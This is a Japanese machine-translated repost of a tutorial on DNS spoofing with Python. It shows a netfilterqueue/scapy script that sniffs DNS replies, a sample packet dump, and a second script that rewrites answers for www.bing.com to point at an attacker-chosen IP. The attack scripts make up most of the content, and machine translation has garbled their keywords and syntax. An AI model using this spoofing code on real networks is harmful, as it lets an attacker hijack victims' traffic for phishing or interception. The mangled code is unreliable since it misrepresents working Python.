Pythonの倫理的ハッキング - DNSスプーフィング

DNSスプーフィングとは何ですか

 

 DNSRRパケットを盗聴し、端末上で表示されます。

!は/ usr / binに/ envをパイソン

から netfilterqueue 輸入NetfilterQueue
 から scapy.layers.dnsはインポートDNSRR、IP 


DEF :process_packet(パケット)
    scapy_packet = IP(packet.get_payload())
     であればscapy_packet.haslayer(DNSRR):
         プリント(scapy_packetを.SHOW())
    packet.accept()


キュー = NetfilterQueue()
queue.bind(0、process_packet)
してみてください
    queue.runを()
を除いてKeyboardInterrupt:
     プリント'' 

 

 

次DNSRRレコードを分析します。

### [ IP ] ### 
  バージョン    = 4 
  IHL        = 5 
  TOS        = 0x0のが
  LEN        = 218 
  ID         = 0 
  フラグ      = DFの
  FRAG       = 0 
  TTL        = 64 
  プロト      = UDP 
  CHKSUM     = 0x25e8 
  SRC        = 10.0.0.1 
  、DST        = 10.0.0.43 
  \オプション\ 
### [ UDP ] ### 
     スポーツ      =ドメイン
     DPORT     = 42647 
     LEN        = 198 
     CHKSUM     = 0x9388 
### [ DNS ] ### 
        、ID         = 40073 
        QR         = 1 
        オペコード     = QUERYの
        AA         = 0 
        TC         = 0 
        、RD         = 1 
        、RA         = 1 
        、Z          = 0 
        広告         = 0 
        CD         = 0 
        RCODE      = OK 
        QDCOUNT    = 1
        ANCOUNT    = 3 
        NSCOUNT    = 1 
        ARCOUNT    = 0 
        のQD \ \ 
         | ### [ DNS質問を録音] ### 
         | qname      = 'www.bing.com。' 
         | QTYPE      = AAAA 
         | QCLASS     = 、IN 
        \ \ 
         | ### [ DNSリソースレコード] ### 
         | rrname     = 'www.bing.com。' 
         | タイプ       = CNAME 
         | RCLASS     = 、IN
         | TTL         = 2063
         | rdlen      = なし
         | RDATA      = '-0001 .A-afdentry.net.trafficmanager.net'。
         | ### [ DNSリソースレコード] ### 
         | rrname     = '-0001 .A-afdentry.net.trafficmanager.net'。
         | タイプ       = CNAME 
         | RCLASS     = 、IN 
         | TTL        = 414 
         | rdlen      = なし
         | RDATA      = 'cn.cn-0001 .CN-msedge.net'。
         | ### [ DNSリソースレコード]  ###
         | rrname     'cn.cn-0001 = .CN-msedge.net'。
         | タイプ       = CNAME 
         | RCLASS     = 、IN 
         | TTL        = 38 
         | rdlen      = なし
         | RDATA      = 'CN-0001 .CN-msedge.net'。
        \ NS \ 
         | ### [ DNS SOAリソースレコード] ### 
         | rrname     = 'cn-msedge.net。' 
         | タイプ       = SOA 
         | RCLASS     = 、IN 
         | TTL        = 38
         | rdlen      = なし
         | MNAME      = 'ns1.cn-msedge.net。' 
         | RNAME      = 'msnhst.microsoft.com。' 
         | シリアル     = 2017032701 
         | リフレッシュ    = 1800 
         | リトライ      = 900 
         | 有効期限が切れる     = 2419200 
         | 最小    = 240 
        AR         =なし

 

DNS応答のリダイレクト 

!は/ usr / binに/ envをパイソン

から netfilterqueue 輸入NetfilterQueue
 から scapy.layers.dns インポート * デフprocess_packet(パケット):
    scapy_packet = IP(packet.get_payload())
     であればscapy_packet.haslayer(DNSQR):
        のqname = scapy_packet [DNSQRを] .qname
         もし" www.bing.com "  qname.decode(誤差= ' 無視' ):
             プリント" [+]スプーフィングターゲット" 
            の回答を


  = DNSRR(rrname = QNameで、RDATA = " 10.0.0.43 " 
            scapy_packet [DNS]に.An = 回答
            scapy_packet [DNS] .ancount = 1 デルscapy_packet [IP] .LEN
             デルscapy_packet [IP] .chksum
             デルscapy_packet [UDP] .chksum
             デルscapy_packet [UDP] .LEN 
            packet.set_payload(STR(scapy_packet).encode())
    packet.accept()
キュー = NetfilterQueue()
queue.bind(0、process_packet)試す
    queue.runを()以外KeyboardInterrupt。
     印刷

            





'' 

 

おすすめ

転載: www.cnblogs.com/keepmoving1113/p/11443027.html